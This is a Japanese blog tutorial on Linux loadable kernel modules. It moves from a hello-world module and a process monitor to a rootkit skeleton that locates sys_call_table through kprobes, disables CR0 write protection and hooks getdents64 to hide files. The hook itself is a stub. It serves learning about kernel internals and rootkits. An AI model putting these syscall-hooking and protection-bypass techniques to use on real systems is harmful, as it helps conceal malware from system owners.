皆さん!今日は、単純な「Hello World」モジュールから LKM ルートキットの作成まで、LKM (ロード可能カーネル モジュール) について説明します。これが役立つと思われた場合は、お気軽に共有してください。最後まで読んでくださった皆様に感謝します。すべてのコードとリファレンスは投稿の下部にリンクされているので、必ずソースをチェックしてください。信じてください。これらを掘り下げてコードを変更すると、さらに多くのことを学ぶことができます。ただし、注意してください。コードの一部は GPL 3 ライセンスの下にあるため、条項を必ず確認してください。
必要なもの:
linux-headers-generic
C コンパイラ (GCC または cc をお勧めします)
目次:
LKM は、カーネル全体を再コンパイルすることなくハードウェアのドライバーを追加するなど、Linux カーネルの機能を拡張するのに役立つロード可能なカーネル モジュールです。これらは、デバイス ドライバー (サウンド カードなど)、ファイル システムなどに最適です。すべての LKM には、少なくとも次の 2 つの基本機能が必要です。
static int __init module_init(void) { return 0; } static void __exit module_exit(void) { }
モジュールをコンパイルするための非常に単純な Makefile は次のとおりです。
obj-m := example.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean
lsmod コマンドを使用すると、カーネルにロードされたモジュールを確認できます。 /proc/modules 内の情報をチェックします。モジュールは通常、次のようなエイリアスを通じてカーネルを識別します。
別名 char-major-10–30 ソフトドッグ
これは、softdog.o モジュールをロードする必要があることを modprobe に伝え、depmod -a を実行して作成された依存関係について /lib/modules/version/modules.dep をチェックします。
超基本的な「Hello World」モジュールの作成方法は次のとおりです:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init hello_init(void) { printk(KERN_INFO "<1>Hello World\n"); return 0; } static void __exit hello_exit(void) { printk(KERN_INFO"<1> Bye bye!"); } module_init(hello_init); module_exit(hello_exit); MODULE_AUTHOR("BrunoCiccarino"); MODULE_LICENSE("GPL");
LKM には時間の経過とともにかなり重要な変更がいくつかあったため、Linux カーネルのバージョンごとに分類してみましょう。
カーネル 2.x (最大 2.6):
動的な LKM のロードとアンロードの初期サポート。
より良いデバッグ ツール (OOPS、PANIC)。
カーネル 2.6.x:
デバイス管理を改善するための udev の導入。
プリエンプティブカーネルにより応答時間が短縮されます。
ネイティブ Posix スレッド ライブラリ (NPTL) は、マルチスレッド プロセスの処理を改善します。
カーネル 3.x:
名前空間のサポート、Docker などのコンテナ技術の改善。
ファイルシステムと GPU ドライバーの改善。
カーネル 4.x:
KASLR によりカーネルのセキュリティが強化されます。
コンテナーのサポートの向上 (Cgroups、名前空間)。
新しいハードウェアのサポート。
カーネル 5.x:
ファイルシステムの暗号化とライブパッチの強化。
ネットワークを超えた BPF の拡張
RISC-V と ARM のサポートが強化されました。
カーネル 5.7:
大きな変更: セキュリティ上の理由から、syscall テーブル (sys_call_table) へのアクセスが困難になりました。 Syscall テーブルを変更する必要があるモジュールは適応する必要がありました。
カーネル 6.x:
より安全なカーネルモジュール開発のためのRust言語サポート。
モバイル デバイスのエネルギー効率に重点を置いた、セキュリティと分離の改善。
Linux 5.7 では、syscall テーブルを保護するために変更が加えられました。現在は書き込み保護されており、簡単にはアクセスできません。これはセキュリティにとっては大きな利点ですが、これに依存する正規のモジュールにとっては複雑な問題になります。 kprobes.h を使用して sys_call_table を検索していた場合は、新しい戦略が必要になります。現在は、書き込み保護 (WP) などの保護機能があるため、直接変更することはできません。
これは、タイマーを使用して定期的に (たとえば 2 秒ごとに) チェックを実行することで、カーネル内のプロセスを監視するモジュールです。プロセスの作成と終了、ファイル アクセス、ネットワークの使用状況などを監視します。
これを始めるためのコードを次に示します。
#include <linux/module.h> #include <linux/sched.h> #include <linux/timer.h> #include <linux/cred.h> static struct timer_list procmonitor_timer; static void procmonitor_check_proc_tree(unsigned long unused) { struct task_struct *task; for_each_process(task) printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000)); } static int __init procmonitor_init(void) { setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200)); return 0; } static void __exit procmonitor_exit(void) { del_timer_sync(&procmonitor_timer); } module_init(procmonitor_init); module_exit(procmonitor_exit);
ルートキットは基本的に、マルウェアを隠すためにシステムコールをハイジャックする悪意のあるモジュールです。ここでは、syscall テーブルにフックして動作を変更する方法を示します。
まず、syscall テーブルを見つける必要があります。
unsigned long *find_syscall_table(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); return (unsigned long*)kallsyms_lookup_name("sys_call_table"); }
その後、syscall テーブルが存在するメモリの保護を解除できます。
static inline void unprotect_memory(void) { write_cr0_forced(cr0 & ~0x00010000); }
その後、元の関数をフックに置き換えます。
static int __init ghost_init(void) { __syscall_table = find_syscall_table(); if (!__syscall_table) return -1; cr0 = read_cr0(); orig_getdents64 = (void *)__syscall_table[MY_NR_getdents]; unprotect_memory(); __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64; protect_memory(); return 0; }
フック関数はファイルをインターセプトして非表示にします:
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { int ret = orig_getdents64(fd, dirp, count); // Intercept the syscall here... return ret; }
ハッカーの選択
エリナックス
カーネルbr
xcellerator
lkmpg
猫好き
私のルートキット
ジアモルヒネ
以上がLKM Addict、lkm の基礎を学ぶの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。